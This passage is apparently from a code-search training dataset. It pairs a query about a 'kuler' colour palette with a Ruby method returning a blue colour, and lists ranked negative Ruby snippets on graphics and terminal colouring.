"def setup(args)\n position = Engine3D::Vector.new 0.0, 0.0, 0.0, 1.0\n direction = Engine3D::Vector.new 0.0, 0.0,-1.0, 1.0\n args.state.camera = Engine3D::Camera.new position, direction\n args.state.renderer = Engine3D::Render.new 1280, 720, args.state.camera, 1.0, 300.0\n\n #args.state.scene = Engine3D::Scene.load 'sprite3dengine/data/scenes/debug.rb'\n #args.state.scene = Engine3D::Scene.load 'sprite3dengine/data/scenes/scene1.rb'\n args.state.scene = Engine3D::Scene.load 'sprite3dengine/data/scenes/demo.rb'\n\n #args.state.angle = 0.01\n #args.state.camera_angle = 0.001\n\n # DEBUG :\n #args.state.frame_counter = 0\n\n args.state.setup_done = true\n\n puts \"setup finished!!!\"\nend",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def update_arrows_actor(index)\n @arrows[index].x = @arrows[index].actor.actual_x\n @arrows[index].y = @arrows[index].actor.actual_y\n @arrows[index].z = 3000\n end",
"def draw_icon(line, graphic_name)\n return if line <= 0\n y = 32 * line - 32\n bitmap = RPG::Cache.picture(graphic_name)\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(0, y, bitmap, rect)\n end",
"def init_actorsprites\r\n # Make actor sprites\r\n @actor_sprites = []\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n @actor_sprites.push(Sprite_Battler.new(@viewport2))\r\n end",
"def create\n @batch = com.badlogic.gdx.graphics.g2d.SpriteBatch.new\n @font = com.badlogic.gdx.graphics.g2d.BitmapFont.new\n @shape = com.badlogic.gdx.graphics.glutils.ShapeRenderer.new\n end",
"def setup \n size 200, 200 \n @y = 100 \n stroke 255\n no_loop\nend",
"def draw\n opacity = 0.4\n @position.reverse.each do |pos|\n opacity *= 0.8\n Square.new(x: pos[0] * GRID_SIZE, y: pos[1] * GRID_SIZE, size: NODE_SIZE, color: @snake_color, z: @z) # the regular snake\n Square.new(x: pos[0] * GRID_SIZE, y: pos[1] * GRID_SIZE, size: NODE_SIZE, color: 'white' , opacity: opacity, z: @z + 1) # a lighting effect\n end\n end",
"def on_start_node_bmd_textures(attributes)\n on_start_node_rec :type => \"BMD_TEXTURES\"\n end",
"def test03()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage2.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n importerName = SecureRandom.uuid\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n size: imageDimensions,\n name: bitmapContextName)\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n affineTransform = MITransformations.make_affinetransform(\n m11: 0.707, m12: 0.707, m21: -0.707,\n m22: 0.707, tX: 373.74, tY: -221.29)\n drawImageElement.affinetransform = affineTransform\n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n theCommands.add_command(drawCommand)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(exporterObject, \n bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n puts \"The result is: \" + theResult unless theResult.length.zero?\n\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 0)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n # FileUtils.rm_f(tempFile) unless tempFile.nil?\n end\nend",
"def line(x0, y0, x1, y1)\n # clean params\n x0, y0, x1, y1 = x0.to_i, y0.to_i, x1.to_i, y1.to_i\n y0, y1, x0, x1 = y1, y0, x1, x0 if y0>y1\n sx = (dx = x1-x0) < 0 ? -1 : 1 ; dx *= sx ; dy = y1-y0\n\n # special cases\n x0.step(x1,sx) { |x| point x, y0 } and return if dy.zero?\n y0.upto(y1) { |y| point x0, y } and return if dx.zero?\n x0.step(x1,sx) { |x| point x, y0; y0 += 1 } and return if dx==dy\n\n # main loops\n point x0, y0\n\n e_acc = 0\n if dy > dx\n e = (dx << 16) / dy\n y0.upto(y1-1) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n x0 += sx if (e_acc <= e_acc_temp)\n point x0, (y0 += 1), intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0+sx, y0, intensity(@color,(0xFF-w))\n end\n point x1, y1\n return\n end\n\n e = (dy << 16) / dx\n x0.step(x1-sx,sx) do\n e_acc_temp, e_acc = e_acc, (e_acc + e) & 0xFFFF\n y0 += 1 if (e_acc <= e_acc_temp)\n point (x0 += sx), y0, intensity(@color,(w=0xFF-(e_acc >> 8)))\n point x0, y0+1, intensity(@color,(0xFF-w))\n end\n point x1, y1\n end"
] | [
"0.61493033",
"0.60375863",
"0.59905905",
"0.5974331",
"0.5890882",
"0.5806754",
"0.58013374",
"0.573792",
"0.5723799",
"0.5627446",
"0.55931437",
"0.55794793",
"0.5562106",
"0.5561261",
"0.55466783",
"0.5529758",
"0.5524997",
"0.5508639",
"0.5502859",
"0.5476679",
"0.5460872",
"0.5458736",
"0.54411435",
"0.54153115",
"0.54153115",
"0.53982997",
"0.5394967",
"0.53766954",
"0.5369078",
"0.53680336",
"0.5336053",
"0.53344756",
"0.53277165",
"0.531517",
"0.5291665",
"0.5278366",
"0.52743053",
"0.52667123",
"0.5262868",
"0.5253505",
"0.525298",
"0.5251047",
"0.5237566",
"0.52363133",
"0.5230211",
"0.5221455",
"0.5217026",
"0.5211064",
"0.52106506",
"0.5210299",
"0.5194945",
"0.51947117",
"0.5194305",
"0.519257",
"0.5183606",
"0.51764935",
"0.5171619",
"0.5163944",
"0.51568645",
"0.5154877",
"0.515323",
"0.5141766",
"0.5137437",
"0.5135484",
"0.5134247",
"0.51303655",
"0.51200926",
"0.51165676",
"0.51125884",
"0.5109681",
"0.5099772",
"0.5098089",
"0.50960594",
"0.5093252",
"0.5090029",
"0.5082971",
"0.50770926",
"0.5075071",
"0.507058",
"0.50682455",
"0.5065158",
"0.5061279",
"0.50609237",
"0.5053645",
"0.50530595",
"0.50476295",
"0.50474733",
"0.5047444",
"0.5047265",
"0.5040029",
"0.5032264",
"0.5030754",
"0.5030661",
"0.5027518",
"0.5022977",
"0.5021934",
"0.50134194",
"0.5006289",
"0.5004441",
"0.50003934",
"0.49996302"
] | 0.0 | -1 |
kuler theme vitamin c 0, 67, 88 blue 31, 138, 112 green 190, 219, 57 lime 255, 255, 26 yellow 253, 116, 0 orange | def blue
Color.new(80, 0, 67, 88)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def theme_keynote\n # Colors\n# @blue = '#6886B4'\n# @yellow = '#FDD84E'\n# @green = '#72AE6E'\n# @red = '#D1695E'\n# @purple = '#8A6EAF'\n# @orange = '#EFAA43'\n# @blue_1 = '#86B468'\n# @yellow_1 = '#D84EFD'\n# @green_1 = '#AE6E72'\n# @red_1 = '#695ED1'\n# @purple_1 = '#6EAF8A'\n# @orange_1 = '#AA43EF'\n# @blue_2 = '#B46886'\n# @yellow_2 = '#4EFDD8'\n# @green_2 = '#6E72AE'\n# @red_2 = '#5ED169'\n# @purple_2 = '#AF8A6E'\n# @orange_2 = '#43EFAA'\n# @white = 'white'\n\n unless @@colors\n c_lo = (0..7).to_a\n c_hi = ('B'..'F').to_a\n @@colors = (0..4).collect do |i|\n (1..7).collect {|j|\n '#' + [1,2,4].collect {|k|\n c = (j & k != 0) ? c_hi : c_lo\n\n \"#{c[rand(c.length)]}0\"\n }.join\n }\n end.flatten\n end\n @colors = @@colors\n# @colors = [ @blue, @yellow, @green, @red, @purple, @orange,\n# @blue_1, @yellow_1, @green_1, @red_1, @purple_1, @orange_1,\n# @blue_2, @yellow_2, @green_2, @red_2, @purple_2, @orange_2 ]\n\n self.theme = {\n :colors => @colors,\n :background_colors => ['white', 'white']\n }\n end",
"def init_colors\n $desc_color = \"#{GREEN}\" # color of description portion\n # color the title based on priority\n $p5color = \"#{BLUE}#{BOLD}\" \n $p4color = \"#{MAGENTA}\" \n $p3color = \"#{CYAN}#{BOLD}\" \n $p2color = \"#{BOLD}\"\n $p1color = \"#{YELLOW}#{ON_RED}\"\n #\n # color for only the type column\n $bugcolor = \"#{BLACK}#{ON_RED}\"\n $enhcolor = \"#{GREEN}\"\n $feacolor = \"#{CYAN}\"\n\n # color for row of started event\n $startedcolor = \"#{STANDOUT}\"\n\n cols = %x[tput colors] rescue 8\n cols = cols.to_i\n if cols >= 256\n $desc_color = \"\\x1b[38;5;236m\" # 256 colors, grey\n $p5color = \"\\x1b[38;5;57m\" # some kinda blue\n $p4color = \"\\x1b[38;5;239m\" # grey. 256 colors\n $p3color = \"\\x1b[38;5;244m\" # grey, 256 colors\n end\n end",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def colors; end",
"def crisis_color\n return text_color(17)\n end",
"def hsla_color; end",
"def theme_keynote\n # Colors\n @blue = '#6886B4'\n @yellow = '#FDD84E'\n @green = '#72AE6E'\n @red = '#D1695E'\n @purple = '#8A6EAF'\n @orange = '#EFAA43'\n @white = 'white'\n @colors = [@yellow, @blue, @green, @red, @purple, @orange]\n\n self.theme = {\n :colors => @colors,\n :marker_color => 'white',\n# :font_color => 'white',\n# :background_colors => ['black', '#4a465a']\n :font_color => 'black',\n :background_colors => ['white', 'white']\n }\n end",
"def theme_37signals\n # Colors\n @green = '#339933'\n @purple = '#cc99cc'\n @blue = '#336699'\n @yellow = '#FFF804'\n @red = '#ff0000'\n @orange = '#cf5910'\n @black = 'black'\n @colors = [@yellow, @blue, @green, @red, @purple, @orange, @black]\n\n self.theme = {\n :colors => @colors,\n :marker_color => 'black',\n :font_color => 'black',\n :background_colors => ['#d1edf5', 'white']\n }\n end",
"def on_49(_) { fg: fg_color(9) } end",
"def theme=(_arg0); end",
"def bg_dark_grey; use_code(100) end",
"def red\n colorize(31)\n end",
"def theme_keynote\n # Colors\n @blue = '#6886B4'\n @yellow = '#FDD84E'\n @green = '#72AE6E'\n @red = '#D1695E'\n @purple = '#8A6EAF'\n @orange = '#EFAA43'\n @white = 'white'\n @colors = [@yellow, @blue, @green, @red, @purple, @orange, @white]\n\n self.theme = {\n :colors => @colors,\n :marker_color => 'white',\n :font_color => 'white',\n :background_colors => ['black', '#4a465a']\n }\n end",
"def scan_for_colors; end",
"def colorized?; end",
"def default_color_train\n %w{#5D1880 #905717 #3E841F #193FBE #9B3E15 #C22DDE #00FFFF #9200C6 #4466AA}\n end",
"def theme_rails_keynote\n # Colors\n @green = '#00ff00'\n @grey = '#333333'\n @orange = '#ff5d00'\n @red = '#f61100'\n @white = 'white'\n @light_grey = '#999999'\n @black = 'black'\n @colors = [@green, @grey, @orange, @red, @white, @light_grey, @black]\n\n self.theme = {\n :colors => @colors,\n :marker_color => 'white',\n :font_color => 'white',\n :background_colors => ['#0083a3', '#0083a3']\n }\n end",
"def green\n\t\tlight COLOR_KEY_GREEN\n\tend",
"def heading_colour\n palette.foreground\n end",
"def color_map\n {\n 'high_risk_ice_check_in' => '#800080',\n 'friend_in_detention' => '#e83737',\n }\n end",
"def yellow \n\t\tlight COLOR_KEY_YELLOW\n\tend",
"def bg_red; use_code(41) end",
"def green\n colorize(32)\n end",
"def red\n\t\tlight COLOR_KEY_RED\n\tend",
"def purple\n colorize(35)\n end",
"def color_codes\n {\n :black => 0, :light_black => 60,\n :red => 1, :light_red => 61,\n :green => 2, :light_green => 62,\n :yellow => 3, :light_yellow => 63,\n :blue => 4, :light_blue => 64,\n :magenta => 5, :light_magenta => 65,\n :cyan => 6, :light_cyan => 66,\n :white => 7, :light_white => 67,\n :default => 9\n }\n end",
"def colorize(text, color_code); \"\\e[#{color_code}m#{text}\\e[0m\"; end",
"def auxiliary_colour\n @cr[0xe] >> 4\n end",
"def foreground_color(index)\n \"\\e[38;5;#{index}m\"\nend",
"def assign_game_color count\n case count\n when 0\n return \"transparent\"\n when 6\n return $app_red\n else\n return $app_blue\n end\n end",
"def possible_colors\n %w(R G B Y)\n end",
"def colors\n return\n end",
"def color; end",
"def color; end",
"def color; end",
"def color_themes # :nologin:\n end",
"def colortable\n names = %w(black red green yellow blue pink cyan white default)\n fgcodes = (30..39).to_a - [38]\n\n s = ''\n reg = \"\\e[%d;%dm%s\\e[0m\"\n bold = \"\\e[1;%d;%dm%s\\e[0m\"\n puts ' color table with these background codes:'\n puts ' 40 41 42 43 44 45 46 47 49'\n names.zip(fgcodes).each {|name,fg|\n s = \"#{fg}\"\n puts \"%7s \"%name + \"#{reg} #{bold} \"*9 % [fg,40,s,fg,40,s, fg,41,s,fg,41,s, fg,42,s,fg,42,s, fg,43,s,fg,43,s, \n fg,44,s,fg,44,s, fg,45,s,fg,45,s, fg,46,s,fg,46,s, fg,47,s,fg,47,s, fg,49,s,fg,49,s ]\n }\nend",
"def print_colors\n 1.upto(6) { |i| print \"#{i} = \" + \"\\u2b24\".color(COLORS[i]) + \" \" }\n print \": \"\nend",
"def yellow\n colorize(33)\n end",
"def theme; end",
"def theme; end",
"def theme; end",
"def sc1\n c = gauge_back_color\n c.alpha = 75\n c\n end",
"def pikapika\n puts \"▕▔╲┊┊┊┊┊┊┊╱▔▏┊┊┊\".colorize(:yellow)\n puts \"┊╲╱╲┊┊┊┊┊╱╲╱┊┊┊┊\".colorize(:yellow)\n puts \"┊┊╲┈╲▂▂▂╱┈╱┊┊┊╱╲\".colorize(:yellow)\n puts \"┊┊╱┈┈┈┈┈┈┈╲┊┊╱┈┈╲\".colorize(:yellow)\n puts \"┊┊▏▕▆▍▂▕▆▍▕┊╱┈┈┈╱\".colorize(:yellow)\n puts \"┊▕╭╮┈┳┻┳┈╭╮▏╲┈┈╱\".colorize(:yellow)\n puts \"┊┊╲╯┈╰━╯┈╰╱┊╱┈┈╲\".colorize(:yellow)\n puts \"┊┊╱┈┈┈┈┈┈┈╲┊╲┈┈┈╲\".colorize(:yellow)\n puts \"┊▕╲┈▕┈┈┈▏┈╱▏┊╱┈╱\".colorize(:yellow)\n puts \"┊▕┈▔▔┈┈┈▔▔┈▏╱┈╱┊\".colorize(:yellow)\n puts \"┊▕┈┈┈┈┈┈┈┈▕▔┈╱┊┊\".colorize(:yellow)\n puts \"┈┈╲┈┈┈┈┈┈┈╱▔▔┈┈┈\".colorize(:yellow)\n puts \"┈┈▕▂╱▔▔▔╲▂▏┈┈┈┈┈\".colorize(:yellow)\n #art from: http://textart4u.blogspot.com/2012/04/pikachu-text-art-ascii-art.html\nend",
"def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]",
"def white\n colorize(37)\n end",
"def colortable\n names = %w(black red green yellow blue pink cyan white default)\n fgcodes = (30..39).to_a - [38]\n\n s = ''\n reg = \"\\e[%d;%dm%s\\e[0m\"\n bold = \"\\e[1;%d;%dm%s\\e[0m\"\n puts ' color table with these background codes:'\n puts ' 40 41 42 43 44 45 46 47 49'\n names.zip(fgcodes).each {|name,fg|\n s = \"#{fg}\"\n puts \"%7s \"%name + \"#{reg} #{bold} \"*9 % [fg,40,s,fg,40,s, fg,41,s,fg,41,s, fg,42,s,fg,42,s, fg,43,s,fg,43,s,\n fg,44,s,fg,44,s, fg,45,s,fg,45,s, fg,46,s,fg,46,s, fg,47,s,fg,47,s, fg,49,s,fg,49,s ]\n }\n end",
"def background_colour\n @cr[0xf] >> 4\n end",
"def rgb_color; end",
"def text_colors\n @colors = {\n red: 31,\n yellow: 33,\n green: 32\n }\n end",
"def knockout_color\n return Color.new(255, 64, 0)\n end",
"def display_color_index\n require_color_echo_get\n\n CE.rainbow\n cnt = 134\n @padding = \" \" * 2\n\n header = \"OK, Let me check color index list... :)\"\n mes = CE.rainbow.get(@padding + \"-\" * cnt) + $/\n mes += @padding + \" \" * ((cnt - header.size)/2) + CE.rainbow.get(header) + $/\n mes += CE.rainbow.get(@padding + \"-\" * cnt) + $/\n\n mes += @padding\n 256.times do |i|\n num = i + 1\n mes += CE.fg(\"index#{num}\".intern).get(\"index#{num}\" + \" \" * (4 - num.to_s.size))\n mes += CE.bg(\"index#{num}\".intern).get(\" \" * 5)\n mes += \" \" * 3\n\n if num % 8 == 0\n mes += $/ * 2\n mes += @padding if num != 256\n end\n end\n print mes \n\n exit 0\nend",
"def bash_color_codes(string)\n string.gsub(\"\\e[0m\", '</span>').\n gsub(\"\\e[31m\", '<span class=\"color31\">').\n gsub(\"\\e[32m\", '<span class=\"color32\">').\n gsub(\"\\e[33m\", '<span class=\"color33\">').\n gsub(\"\\e[34m\", '<span class=\"color34\">').\n gsub(\"\\e[35m\", '<span class=\"color35\">').\n gsub(\"\\e[36m\", '<span class=\"color36\">').\n gsub(\"\\e[37m\", '<span class=\"color37\">')\n end",
"def rainbow\n (0..256).each{ |color| \n print Paint[' ',48,5,color] # print empty bg color field\n }\n puts\n end",
"def generate_color_scheme\n if values_bits[Constants::V_Use_of_colors]<=2.5 #No colors \n if values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness > Constants::Min_lightness#image as bg\n scheme = 'dark'\n elsif values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness < Constants::Min_lightness\n scheme = 'light'\n elsif values_bits[Constants::V_Darkness]<=4.5#Light\n scheme = 'dark'\n elsif values_bits[Constants::V_Darkness]>=4.5#Dark\n scheme = 'light'\n end\n \n if scheme == 'dark'\n @colors[0]=Colour.new(255,255,255)\n @colors[1]=Colour.new\n @colors[2]=Colour.new\n @colors[3]=Colour.new\n @colors[4]=Colour.new(40,40,40)\n @colors[5]=Colour.new(55,55,55)\n @colors[6]=Colour.new(70,70,70)\n @colors[7]=Colour.new\n elsif scheme == 'light'\n @colors[0]=Colour.new\n @colors[1]=Colour.new(255,255,255)\n @colors[2]=Colour.new(255,255,255)\n @colors[3]=Colour.new(255,255,255)\n @colors[4]=Colour.new(240,240,240)\n @colors[5]=Colour.new(235,235,235)\n @colors[6]=Colour.new(230,230,230)\n @colors[7]=Colour.new(255,255,255)\n end\n \n else #Colors\n #Main color (colors[1] - colors[3])\n if values_bits[Constants::V_Main_color]<=2 #Complementary main pic\n @colors[1] = @image_colors[1].get_complementary\n elsif values_bits[Constants::V_Main_color]>2 and values_bits[Constants::V_Main_color]<=5 #Contrast main pic\n @colors[1] = @image_colors[1].get_contrasted\n elsif values_bits[Constants::V_Main_color]>5 and values_bits[Constants::V_Main_color]<=8 #main_pic\n @colors[1] = @image_colors[1]\n else #random\n @colors[1] = Colour.new.get_random_color()\n end\n @colors[2] = colors[1].get_lighter\n @colors[3] = colors[1].get_darker\n \n #Accent colors (colors[4] - colors[6])\n if values_bits[Constants::V_Accent_colors]<=2 #secondary\n accent_colors = @image_colors[2].get_analogous\n @colors[4]=@image_colors[2]\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>2 and values_bits[Constants::V_Accent_colors]<=4.5 #triadic\n accent_colors = colors[1].get_triadic\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>4.5 and values_bits[Constants::V_Accent_colors]<=8 #analogous\n accent_colors = colors[1].get_analogous\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n else #complementary\n @colors[4] = colors[1].get_complementary\n accent_colors = colors[4].get_analogous\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n end\n \n #Background color (colors[0])\n if values_bits[Constants::V_BG_color]<7 #Plain background\n if values_bits[Constants::V_Darkness]>4.5 #Dark design \n @colors[0]=colors[1].get_dark\n else #Light design\n @colors[0]=colors[1].get_pale\n end\n else\n @colors[0]=Colour.new\n end\n \n #Text color (colors[7])\n if values_bits[Constants::V_Type_of_BG]>=4.5 #Contrast with plain background\n if values_bits[Constants::V_Darkness]<4.5 #Light bg\n @colors[7]=Colour.new\n else #Dark bg\n @colors[7]=Colour.new(255,255,255)\n end\n else #Contrast with picture as background\n if @image_colors[0].get_lightness > Constants::Min_lightness\n @colors[7]=Colour.new\n else\n @colors[7]=Colour.new(255,255,255)\n end\n end\n end\n \n @background = @colors[0]\n end",
"def sc2\n c = gauge_back_color\n c.alpha = 150\n c\n end",
"def dark; end",
"def dark; end",
"def initialize\r\n\t\t@color =\"platinum\"\r\n\tend",
"def output_color(text, color=text.to_i)\r\n # Color matches: 1 - Black; 2 - White; 3 - Red; 4 - Yellow; 5 - Green; 6 - Blue; 7 - Gold\r\n colors = { 1 => 30, 2 => 36, 3 => 31, 4 => 33, 5 => 35, 6 => 34, 7 => 220 }\r\n # \\e[47m Is for the grey foreground \\e[{color} is for picking the color and \\e[0m is for resetting the terminal.\r\n \"\\e[1m\\e[47m\\e[#{colors[color]}m#{text}\\e[0m\\e[22m\"\r\n end",
"def small_font\n [-2, 0, 0, 0, 0, 255]\n end",
"def green(text)\n colorize(text, 32)\nend",
"def to_kmlcolor(color=\"#000000\", alpha = \"ff\")\n alpha + color[5,3].to_s + color[3,2].to_s + color[1,2].to_s\n end",
"def blue = \"\\e[36m#{self}\\e[0m\"",
"def alt_heading_colour\n if self.theme.background_colour == Color::RGB::White.html\n self.palette.foreground_dark\n else\n self.palette.foreground_light\n end\n end",
"def red(text)\n colorize(text, 31)\nend",
"def setup\n\t\tbackground(0)\n\t\tzahlen = (2*3*5*7)-1# <-- change integer here. # what is biggest array?\n\t\t@table = color_it(rsa_group(zahlen))\n\t\tsquare = [1000] * 2 ; size(*square)\n\t\tframe_rate 1 ; colorMode(HSB,360,100,100)\n\tend",
"def crisis_color\n return Color.new(255, 255, 64)\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def blue(text)\n colorize(text, 34)\nend",
"def cyan\n colorize(36)\n end",
"def color(color); end",
"def to_kmlcolor(color=\"#000000\", alpha = \"ff\")\n alpha + color[5,3] + color[3,2] + color[1,2]\n end",
"def colors(warm, cool)\n puts \"#{warm} is a contrast color to #{cool}\"\nend",
"def colorize!; @colors = true; end",
"def shades_of_grey(n)\n 1.upto([254,n].min).map {|i| p format '#%02x%02x%02x', i, i, i}\nend",
"def chco\n (foreground || \"FFFFFF\") + \",\" + super\n end",
"def defined_styles\n default_styles = {\n detail: '100X100#',\n blurred: {\n size: '640x256',\n offset: '+0+0',\n raduis_sigma: '12x5',\n tint: '40',\n processors: [:blur]\n },\n home: '640X640#'\n }\n default_styles\n end",
"def getColor(c)\n if c == \"r\" then return :red\n elsif c == \"b\" then return :blue\n elsif c == \"g\" then return :green\n elsif c == \"y\" then return :yellow\n elsif c == \"c\" then return :cyan\n elsif c == \"m\" then return :magenta\n end\nend",
"def setup_pieces\n setup_color(:white)\n setup_color(:black)\n end",
"def malt_color_units\n weight * fermentable.color\n end",
"def tutu_color\n\t @tutu_color\n\tend",
"def code\n index = 16 +\n RGB.to_ansi_domain(@red) * 36 +\n RGB.to_ansi_domain(@green) * 6 +\n RGB.to_ansi_domain(@blue)\n\n \"#{@ground_code};5;#{index}\"\n end",
"def bright; end",
"def bright; end",
"def get_color_code\n\t\t{ r: @term_hex[0], g: @term_hex[1], b: @term_hex[2], alpha: @term_hex[-1] }\n\tend",
"def display_rainbow(colors)\n puts \"R: #{colors[4]}, O: #{colors[1]}, Y: #{[5]}, G: #{colors[3]}, B: #{colors[0]}, I: #{colors[2]}, V: #{colors[6]}\"\n puts colors\nend",
"def getDefaultTextColors(windowskin)\n if !windowskin || windowskin.disposed? || \n windowskin.width!=128 || windowskin.height!=128\n if isDarkWindowskin(windowskin)\n return [MessageConfig::LIGHTTEXTBASE,MessageConfig::LIGHTTEXTSHADOW] # White\n else\n return [MessageConfig::DARKTEXTBASE,MessageConfig::DARKTEXTSHADOW] # Dark gray\n end\n else # VX windowskin\n color=windowskin.get_pixel(64, 96)\n shadow=nil\n isdark=(color.red+color.green+color.blue)/3 < 128\n if isdark\n shadow=Color.new(color.red+64,color.green+64,color.blue+64)\n else\n shadow=Color.new(color.red-64,color.green-64,color.blue-64)\n end\n return [color,shadow]\n end\nend",
"def view\n\t\t@white_symbols = {\n\t\t\t\"king\" => \"\\u265a\", \n\t\t\t\"queen\" => \"\\u265b\", \n\t\t\t\"rook\" => \"\\u265c\", \n\t\t\t\"bishop\" => \"\\u265d\", \n\t\t\t\"knight\" => \"\\u265e\", \n\t\t\t\"pawn\" => \"\\u265f\"\n\t\t}\n\n\t\t@black_symbols = {\n\t\t\t\"king\" => \"\\u2654\",\n\t\t\t\"queen\" => \"\\u2655\",\n\t\t\t\"rook\" => \"\\u2656\",\n\t\t\t\"bishop\" => \"\\u2657\",\n\t\t\t\"knight\" => \"\\u2658\",\n\t\t\t\"pawn\" => \"\\u2659\"\n\t\t}\n\n\t\tif self.color == nil\n\t\t\treturn \" \"\n\t\telsif self.color == \"black\"\n\t\t\treturn @black_symbols[self.name]\n\t\telse\n\t\t\treturn @white_symbols[self.name]\n\t\tend\n\tend",
"def colorize txt, fg, bg, flags\n fgc = (fg.nil? || Color === fg ) ? fg : Color.parse(fg)\n bgc = (bg.nil? || Color === bg) ? bg : Color.parse(bg)\n esc = []\n esc << '01' if flags[:b]\n esc << '03' if flags[:i]\n esc << '04' if flags[:u]\n esc << '07' if flags[:r]\n esc << \"38;05;#{fgc.xterm256}\" if fgc\n esc << \"48;05;#{bgc.xterm256}\" if bgc\n \n esc.empty? ? txt : \"\\e[#{esc.join(';')}m#{txt}\\e[0m\" \n end",
"def color_table\n [0, 1, 4, 5, 7].each do |attr|\n puts '----------------------------------------------------------------'\n puts \"ESC[#{attr};Foreground;Background\"\n 30.upto(37) do |fg|\n 40.upto(47) do |bg|\n print \"\\033[#{attr};#{fg};#{bg}m #{fg};#{bg} \"\n end\n puts \"\\033[0m\"\n end\n end\n end",
"def palette\n [\n \"Background: #{background_color}\",\n \"Foreground: #{foreground_color}\",\n \"Bold Text : #{bold_color}\",\n \"Cursor : #{cursor_color}\",\n \"Font : #{font}\"\n ].join(\"\\n\")\n end",
"def rainbow; end",
"def stopped_failed_colors\n { :light => \"F5D9C9\".to_color, :medium => \"F2F2E9\".to_color, :strong => \"AF3A00\".to_color }\n end",
"def start_color color\n \"\\e[#{COLORS[color]}m\"\n end",
"def color\n case news_type\n when 'critical', 'love', 'angry' then 'red'\n when 'info' then 'blue'\n when 'warning' then 'orange'\n when 'success' then 'green'\n when 'disconcert' then 'purple'\n when 'tech' then '#555555'\n when 'premium' then '#FFCC00'\n else\n 'primary'\n end\n end",
"def white; return self.trays[Hive::Color[:white]]; end",
"def blue=(_); end",
"def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end",
"def colorize!(color_code) \"#{COLORS[color_code]}#{self.to_s}\\e[0m\" ; end"
] | [
"0.7381542",
"0.67488563",
"0.6742703",
"0.6713649",
"0.66772413",
"0.66748166",
"0.6630464",
"0.66071796",
"0.65866166",
"0.6582692",
"0.65512216",
"0.65481365",
"0.64555264",
"0.64341515",
"0.6433256",
"0.64250046",
"0.6372795",
"0.6346312",
"0.6345289",
"0.63384163",
"0.63131785",
"0.62966824",
"0.62648475",
"0.6263198",
"0.62586844",
"0.62317175",
"0.6229857",
"0.62257516",
"0.62253475",
"0.61957735",
"0.61854607",
"0.6181881",
"0.61782444",
"0.61782444",
"0.61782444",
"0.6158451",
"0.6157022",
"0.61504716",
"0.6138231",
"0.61085933",
"0.61085933",
"0.61085933",
"0.6091939",
"0.60843426",
"0.6080905",
"0.6056328",
"0.60430694",
"0.6038761",
"0.6026479",
"0.6021032",
"0.60196",
"0.6005676",
"0.6002651",
"0.59985393",
"0.5997071",
"0.5993776",
"0.5985124",
"0.5985124",
"0.5963281",
"0.5959863",
"0.5956506",
"0.5952432",
"0.59470457",
"0.5945746",
"0.59422535",
"0.59379774",
"0.593755",
